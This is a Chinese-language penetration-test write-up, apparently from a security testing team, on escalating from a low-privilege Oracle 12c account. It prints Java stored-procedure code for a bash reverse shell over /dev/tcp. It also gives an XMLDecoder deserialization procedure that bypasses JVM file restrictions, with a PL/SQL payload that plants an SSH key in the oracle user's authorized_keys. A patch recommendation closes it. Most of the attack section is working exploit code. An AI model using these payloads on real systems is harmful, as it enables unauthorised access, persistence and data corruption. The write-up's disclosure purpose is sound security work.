No.1
聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2
前言
在測試過程中,碰到oracle資料庫,只發現存在一個低權限用戶dm,由於權限不足無法進一步獲取關鍵數據,同時無法進一步獲取系統權限。
主機場景:
運行伺服器:centos 6.5資料庫版本:Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
低權限用戶:TESTER
能夠訪問SQLPLUS終端,也可以使用PL/SQL工具連接。
XML反序列化
XML反序列化,可以描述一個Java Object,以及用來構建Object時所需要調用的方法和相關參數。在Oracle中,使用XMLDecoder類重新組裝XML序列化後的對象,而在組裝過程中所調用的對象方法,沒有被Oracle JVM限制權限。因此,可以使用XML反序列化構建一個FileWriter對象,並調用其write方法,就可以實現文件寫入操作。
No.3
Java存儲過程
Oracle企業版在資料庫中嵌入了Java虛擬機,Oracle資料庫通過Java存儲過程支持Java的本機執行,存儲過程是發布到SQL並存儲在資料庫中以供一般使用的Java方法。調用存儲過程
在互通性上面,Oracle資料庫中的Java完全符合Java語言規範(JLS),並提供了通用的,面向對象的程式語言的所有優點。另外,與PL/SQL一樣,Java提供對Oracle數據的完全訪問權限。結果,任何用PL/SQL編寫的過程也可以用Java編寫。
No4
通過SQL終端查詢java版本
create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';
No.5
JVM的基本保護
SET scan off
create or replace and compile java source named ReverseShell asimport java.io.*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime;
Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"}); System.out.println(p.toString);
p.waitFor;
}
}/create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
由於Oracle JVM實現了基於細粒度策略的安全性來控制對OS和文件系統的訪問,因此該方法將不起作用。從低權限帳戶執行此過程會導致錯誤。
請注意,錯誤堆棧包含缺少權限和必要的命令才能授予訪問權限ORA-29532:Java call terminated by uncaught Java exception
No.6
XML反序列化帶來的問題
XML反序列化Java中存在XML序列化和反序列化功能,以支持使用標準化格式(在本例中為XML)的跨平台信息交換。為此,java.beans庫包含兩個類:XMLEncoder和XMLDecoder,它們用於將Java對象序列化為XML格式,並在以後反序列化該對象。典型的反序列化漏洞依賴於接受和反序列化任意輸入的服務的存在。但是,如果有權訪問可以在用戶架構中創建對象的低特權Oracle帳戶(具有連接和資源的用戶),則可以創建反序列化存儲過程。例如:創建一個帳號TESTER,只擁有CONNECT、RESOURCE權限。
創建了以下Java類「 DecodeMe」和一個調用該類的Java存儲過程:
create or replace and compile java source named DecodeMe asimport java.io.*;import java.beans.*;public class DecodeMe{ public static void input(String xml) throws InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes)); Object object = decoder.readObject; System.out.println(object.toString);
decoder.close;
}
}
;
/CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
language java name 'DecodeMe.input(java.lang.String)';
/
該解碼程序將接受XML編碼的Java的任意字符串,並執行所提供的指令。可在此處找到有關序列化XML的正確格式的信息。該塊將簡單地調用println將數據輸出到終端。
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> <void method="println"><string>This is test output to the console</string></void></object></java>');
END;
/
反序列化過程將會繞過JVM權限設置,並允許用戶在OS上任意寫入文件。請參見以下示例腳本:
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0" >
<object class="java.io.FileWriter">
<string>/tmp/test.txt </string>
<boolean>True</boolean>
<void method="write">
<string>test</string>
</void>
<void method="close" />
</object>
</java>');END;
/
執行上述腳本將在/tmp文件夾中創建一個名為「test.txt」的文件:
因此,通過反序列化,可以繞過內置的安全限制將任意文件寫入文件系統。事實證明,不僅可以將新文件寫入系統,還可以覆蓋或附加Oracle用戶具有寫許可權的任何文件。
顯然,這會對資料庫產生嚴重影響,因為攻擊者可能會覆蓋關鍵文件(包括控制文件),這可能會導致成功的拒絕服務攻擊或數據損壞。但是,通過精心設計的有效payload(pl/sql腳本),使用此反序列化攻擊以Oracle用戶的身份訪問伺服器。
假設SSH在伺服器上打開並配置為接受RSA連接,則以下有效負載會將RSA令牌附加到管理資料庫進程的Oracle帳戶中。開始認證密鑰:
EGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0">
<object class="java.io.FileWriter">
<string>/home/oracle/.ssh/authorized_keys</string>
<boolean>True</boolean>
<void method="write">
<string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>
</void>
<void method="close" />
</object>
</java> ');END;
/
執行後,該代碼會將任意RSA密鑰附加到Oracle用戶的authenticated_keys文件中,以Oracle用戶的身份授予對SSH的攻擊。
Oracle用戶可以以SYS身份訪問資料庫,進而管理整個資料庫。
No.7
修復意見
建議升級補丁版本:12.2.0.1.180717(p27923353_122010_Linux-x86-64.zip)